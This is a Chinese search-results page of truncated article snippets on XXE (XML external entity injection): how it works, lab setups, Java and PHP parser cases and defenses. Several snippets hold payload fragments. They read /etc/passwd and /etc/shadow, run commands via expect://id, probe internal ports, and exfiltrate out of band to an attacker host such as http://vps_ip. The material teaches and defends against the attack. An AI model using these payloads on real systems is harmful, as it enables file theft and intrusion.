展开

关键词

XXE注入漏洞

什么是XML 要想清楚XXE漏洞,首先要了解XML XML 可扩展标记语言(EXtensible Markup Language)。 漏洞原理 前面说到,XML可以从外部读取DTD文件,而实体部分是写在DTD文档里。所以引用外部实体实际上就是调用包含该实体的DTD文件。 注意: php版本大于5.4.45的默认不解析外部实体 xxe漏洞与ssrf漏洞 两个漏洞很相似,功能、原理、造成的危害都相同。 所以他们是两个不同的漏洞。 演示 simplexml_load_string函数 作用是将xml格式的字符串转换为对应的SimpleXMLElement zz.php ? 执行原理 zz.php <!

42432

xxe漏洞详解

xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,xml在引用外部实体时,可以导致命令执行,任意文件读取或者内网端口探测,则命名为xxe漏洞。 ENTITY % send SYSTEM 'http://192.168.1.3/xxe/2.php? ENTITY XXE SYSTEM "http://ip:port" > ]> <root> <name>&XXE;</name> </root> 端口开放时会返回报错信息,端口不存在时会无法连接 端口开放会报错 ,如下 3.png 端口不存在会无法连接,如下 4.png 4.简单xml拼接漏洞 5.png 三、JSON XXE 很多web和移动应用都基于客户端-服务器交互模式的web通信服务,一般对于 ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <search>name</search> <value>&xxe;</value> </root>

26810
  • 广告
    关闭

    老用户专属续费福利

    云服务器CVM、轻量应用服务器1.5折续费券等您来抽!

  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    浅谈XXE漏洞

    漏洞知识库 网络安全/渗透测试/代码审计/ 关注 浅谈XXE漏洞 介绍 现在越来越多主要的web程序被发现和报告存在XXE(XML External Entity attack)漏洞,比如说facebook 举个例子,我们扫一眼这些网站最近奖励的漏洞,充分证实了前面的说法。尽管XXE漏洞已经存在了很多年,但是它从来没有获得它应得的关注度。 很多XML的解析器默认是含有XXE漏洞的,这意味着开发人员有责任确保这些程序不受此漏洞的影响。 漏洞的危害: 读取任意文件(数据回显): ? XML数据 关键词有:SYSTEM、PUBLIC XXE漏洞的演示: ?

    33230

    XXE漏洞学习

    例如这次的XXE,提示都到脸上了就是没想到,那么为了开始准备下一次的比赛,现在开始慢慢的会写一些类似的学习笔记(当然因为懒,有的并不会写),就当是整理一下,记忆一下 正文 那么为了方便实验,首先搭建一个 xxe漏洞的环境,直接上github找就好了 github地址:https://github.com/c0ny1/xxe-lab 下载完之后,直接将文件夹部署到php环境中就好了 ? 看到类似这样的包结构,都可以尝试用xxe漏洞,当然不同编程语言写的页面,解析出来的结果也不一样,这里针对PHP环境 那么接下来就是构造语句的问题了 这里就得提一下DTD这个东西了 DTD又称为 DOCTYPE 解析器理都不带理一下这其中的所有内容,不会拿去解析 那么回到主题上,DTD的作用基本就是这些,去定义元素的类型 那么为啥要解释这个DTD呢,因为DTD可以去定义元素类型,反之,也可以利用它去定义实体,接着调用它,导致XXE 漏洞,也就是实体注入漏洞 DTD中有一个写法 DTD 实例: <!

    25530

    XXE漏洞XXE漏洞是怎样形成的?

    Hello,各位小伙伴大家好~ 这里是你们的小编Monster~ 最近学习了XXE漏洞的基本原理,一起来看看吧! Part.1 XML基础 XML语法 XXE漏洞是由于web应用程序解析了恶意的xml代码导致的。 因此,在学习之前,我们先来康康xml的基本原理。 ? XXE就是由于xml引用了恶意的外部实体导致 (1)内部实体声明 <!ENTITY 实体名称 "实体的值"> 因为DTD是一种快捷变量,因此可改写上面的例子为: ? Part.2 XXE漏洞 漏洞实现 XXE(XML External Entity),即xml外部实体注入。引用外部实体时,不同的程序可支持不同的协议: ? 我们先来写一个简单的xml接收页面: ? 这就是一个简单的xxe漏洞利用。 pikachu平台 我们来看看pikachu平台上的xxe漏洞: ? 查看后端代码: ? 和我们的演示代码差不多,使用前面代码的尝试注入: ?

    1.1K40

    xxe漏洞学习

    前几天ctfshow的webak赛有一道利用xxe漏洞的题,当时看一些xxe的资料也没整出来,想着再学习下。 简单来说,XXE就是XML外部实体注入。 ENTITY xxe SYSTEM "expect://id" >]> <catalog> <core id="test101"> <description>&xxe;</description

    35320

    web漏洞|XXE漏洞复现

    docker搜索xxe相关镜像包,然后pull下来,我这里pull的是:rrodrigo/xxelab 镜像包。 启动docker环境,映射到VPS的32776端口 访问 输入注册数据,抓包重放。 name>111</name><tel>222</tel><email>&file;</email><password>333</password></root> 利用 base64 编码进行 xxe >222</tel><email>&file;</email><password>333</password></root> 相关文章:XML和JSON数据格式 XXE

    17320

    XXE漏洞挖掘分享

    XXE漏洞挖掘 基础知识 DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。 引用外部DTD <! XXE漏洞的利用: 读取任意文件: 本地引用: http://192.168.0.145:65412/?xml=<!DOCTYPEexample [<! ENTITY xxe SYSTEM "file%3A%2F%2F%2Fetc%2Fshadow">]><root>%26xxe%3B<%2Froot> ? ENTITY xxe SYSTEM"http%3A%2f%2f192.168.0.145%3A22%2f123">]><root>%26xxe%3B<%2Froot> ? 攻击内网的其他网站 XXE漏洞挖掘 遇到XML相关的交互过程,以如下步骤判断是否存在漏洞: (1)检测XML是否会被解析: [html] view plain copy <?

    2.3K50

    XXE实体注入漏洞详解

    原理 既然XML可以从外部读取DTD文件,那我们就自然地想到了如果将路径换成另一个文件的路径,那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中,只要我们在XML中让前面的根元素的内容显示出来 这就造成了一个任意文件读取的漏洞。 那如果我们指向的是一个内网主机的端口呢?是否会给出错误信息,我们是不是可以从错误信息上来判断内网主机这个端口是否开放,这就造成了一个内部端口被探测的问题。 XXE漏洞带来的的危害 当允许引用外部实体时, XML数据在传输中有可能会被不法分子被修改,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以通过构造恶意内容,就可能导致任意文件读取,系统命令执行 ENTITY xxe "findneo">]>&xxe; 外部实体读本地文件 :<!DOCTYPE a [<! ENTITY xxe SYSTEM "http://vps_ip">]>&xxe; 判断问题存在可以OOB提取数据。

    46720

    XXE漏洞那些事儿(JAVA)

    0x01 前言 之前我们学习了DocumentBuilder这个XML解析类的使用方法,还展示了如何读取本地文件以及利用XXE外带数据,当然,也简单的提到了相应的防御方法,这一章,我们将学习其他一些JAVA 这些方法都是自由定制的,可发挥空间很大~ 运行主类,控制到得到如下结果,成果读取到本地文件win.ini,说明XXE成功。 ? 的防御,往下看吧.... 0x06 防御手法 我在《XXE之DocumentBuilder》文末蜻蜓点水般提到了XXE的防御方法,这会,我们详细来说说,由于java中各个xml解析类防御xxe的方法都大同小异 ,我就那SAXReader来演示吧 要想完全防御住xxe攻击,需要设置以下三个属性,如果遗漏了其中一个,应用都是有可能受到XXE攻击的,只是说危害程度不同 saxReader.setFeature("http 漏洞以及XML文件的基础知识我这里暂且不谈,欲进一步了解移步:https://thief.one/2017/06/20/1/ 我们先用普通的外部实体测试一下,可见能够正常解析,如下: ?

    58320

    XXE攻击原理研究

    XMLExternal Entity 附上Owasp对于XXE的相关说明 https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing XXE 翻译过来是XML外部实体,XXE攻击一般是指XXE注入攻击 XXE 攻击的是XML这种标记格式,理论上所有XML进行配置或者作为传输的应用程序都会受到这种攻击 在2017年OWASP在Top 10 中将XXE攻击列为第四名 从此国内引发了XXE学习的热潮,一开始我并不感冒,因为这不是一个新的漏洞,在《黑客攻防技术宝典 WEB实战篇》中已经包含过这种攻击方式,在《白帽子讲web安全》中只是一笔带过 可以看到是一种树状结构,与HTML类似,表示方法都是在两个标签中表示数据 漏洞成因 与SQL注入,XSS的漏洞成因很相似,都是通过注入恶意字符,改变网站原本意图,从而达到某些目的。 漏洞产生的原因及其简单利用了吧!

    47830

    渗透测试之XXE漏洞

    文章目录 01 XML基础知识 02 XXE漏洞原理 03 XXE漏洞利用 04 XXE漏洞绕过方式 05 XXE造成的危害 06 XML注入预防 01 XML基础知识 XML文档结构包括XML声明 漏洞原理 XXE Injection (XML External Entity Injection,XML 外部实体注入攻击)攻击者可以通过 XML 的外部实体来获取服务器中本应被保护的数据。 对于XXE漏洞最为关键的部分是DTD文档类型,DTD 的作用是定义 XML 文档的合法构建模块。 04 XXE漏洞绕过方式 有回显方式的XXE漏洞利用两种方式: 方式一,xml内容为: <?xml version="1.0" encoding="utf-8"?> <! 无回显方式的XXE漏洞利用: xml内容为: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!

    57230

    Web漏洞|XXE漏洞详解(XML外部实体注入)

    目录 XXE XXE漏洞演示利用(任意文件读取) Blind OOB XXE 目录浏览和任意文件读取 端口扫描 远程代码执行 XXE漏洞的挖掘 XXE的防御 ---- 在学习 XXE漏洞之前,我们先了解下XML。 传送门——> XML和JSON数据格式 那么什么是XXE漏洞呢? 利用详情:XXE漏洞利用 03 Blind XXE 如上例所示,服务器将 /etc/passwd 文件的内容作为响应返回给我们的XXE。 参考文章:XXE漏洞利用技巧:从XML到远程代码执行 xxe漏洞的学习与利用总结 相关文章:XXE之利用本地DTD进行文件读取 Blind

    11010

    CVE-2020-24589 XXE漏洞

    WSO2 API Manager 3.1.0 和 API Microgateway 2.2.0 中的管理控制台允许 XML 外部实体注入 (XXE) 攻击。 save_artifact_ajaxprocessor.jsp 参考:https : //docs.wso2.com/display/Security/Security+Advisory+WSO2-2020-0742 该漏洞的知名度低于平均水平 , 没有可利用漏洞

    30500

    XXE漏洞:DocumentBuilder使用之殇

    xxe这种漏洞无论是在php中还是java中,审计起来应该都是有迹可循的,在php中全局搜索特定函数,在java中需要找解析xml文档的类有没有被使用,所以,我们首先需要知道java有哪些常见的解析xml javax.xml.parsers.DocumentBuilder 案例2 这个类导致的xxe漏洞感觉挺多的。微信支付,以及CVE-2017-12629都是由于这个类没有进行安全设置导致的。 用一个例子来学习一下这个类怎么导致xxe import jdk.internal.org.xml.sax.SAXException; import org.w3c.dom.Document; import 参考 spring boot 快速创建项目:http://tengj.top/2017/02/26/springboot1/ 微信支付xxe:https://benjaminwhx.com/2018/ /2018/10/23/java-xxe/

    1.1K20

    深入浅出-XXE漏洞

    本文作者:可乐(Ms08067实验室Web小组成员) 前言 写这篇的主要目的是因为很多CTFer还有一些安全人员不是很清楚xxe漏洞,还有在面试当中,xxe漏洞也经常被问到,所以就写这么一篇文章来学习xxe 漏洞. ENTITY 实体名称 PUBLIC "public_ID" "URI"> XXE漏洞 当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。 xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件 如果xml能够被解析,比如输入 ``` <? 如果目标服务器没有回显,就只能用 Blind XXE 了。原理就是带着获取的文件源码以 get 参数或其他形式去访问我们的服务器,然后在日志里就可以找到我们要获取的内容了。

    1.9K40

    php框架slim架构上存在XXE漏洞XXE的典型存在形式)

    现代cms框架(laraval/symfony/slim)的出现,导致现今的php漏洞出现点、原理、利用方法,发生了一些变化,这个系列希望可以总结一下自己挖掘的此类cms漏洞。 这个特性将会导致两个问题: WAF绕过 可能存在的XXE漏洞 WAF绕过这个肯定不用说了,常规的WAF一般只检测application/x-www-form-urlencoded的数据,一旦修改数据类型则将通杀各大 XXE是本漏洞的重点。 我们看到解析body的代码: <? 所以,用slim framework 3.0开发的CMS,只要获取了POST数据,都将受到此XXE漏洞的影响。 漏洞证明 编写一个最简单的demo页面,只有一个获取POST信息并输出的功能: <? 触发XXE漏洞并读取/etc/passwd: ? 漏洞修复 在slimphp2中,官方是对这块进行一定处理了: <?

    53220

    实战挖掘文件导入处的XXE漏洞

    一、XXE简述 XXE(XML External Entity Injection)全称是XML外部实体注入,当服务端允许引用外部实体时,通过构造恶意payload就可能造成任意文件读取、内网端口探测甚至命令执行等危害 三、总结 文中简述了XXE漏洞基本原理和DTD类型格式,在某些文件导入的功能处也可能存在相关漏洞

    78920

    XXE原理利用方式及修复

    注:本文仅供参考学习 XXE定义: XXE,"xml external entity injection",即"xml外部实体注入漏洞" 攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行 XXE原理: 服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害 先来了解一下XML /学生\> </班级\> system表示当前的DTD文件是本地的 public表示引入的DTD文件是来自于网络的 外部实体就是DTD没有约束的部分,就是指用户输入的数据,因为没做过滤所以就产生了这个漏洞 ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <name>&xxe;</name> ? 所以就不存在xxe漏洞 xxe修复 方案:使用开发语言提供的禁用外部实体的方法 1.PHP: libxml\_disable\_entity\_loader(true);//设置为true时禁止解析xml

    67630

    最近大火的XXE漏洞是什么

    首先介绍一下什么是XXEXXE全称是——XML External Entity,也就是XML外部实体注入攻击。漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。 现在越来越多主要的web程序被发现和报告存在XXE(XML External Entity attack)漏洞。尽管XXE漏洞已经存在了很多年,但是它从来没有获得它应得的关注度。 三、客户端XXE案例 日前,某office文档转换软件被爆存在XXE漏洞(PS:感谢TSRC平台白帽子Titans`报告漏洞),某一应用场景为:Web程序调用该office软件来获取office文档内容后提供在线预览 最后的最后 微信的“0元购”漏洞其实跟本没修上。前几天有人说微信支付SDK中出现XXE漏洞,利用这个漏洞,黑客可以绕过微信支付完成购买。 这个漏洞不是微信官网说他们修好就完事了,一定要自己去修。没接到通知的也要注意了。 PS:好像是要自己修,啦啦啦 ? 本文参考了 腾讯安全中心-未知攻焉知防——XXE漏洞攻防 滇峰技术的XXE漏洞

    74620

    相关产品

    • 漏洞扫描服务

      漏洞扫描服务

      漏洞扫描服务是用于网站漏洞监测的安全服务,为企业提供7×24小时准确、全面的漏洞监测服务,并为企业提供专业的修复建议, 从而避免漏洞被黑客利用,影响企业资产安全…

    相关资讯

    热门标签

    活动推荐

    扫码关注腾讯云开发者

    领取腾讯云代金券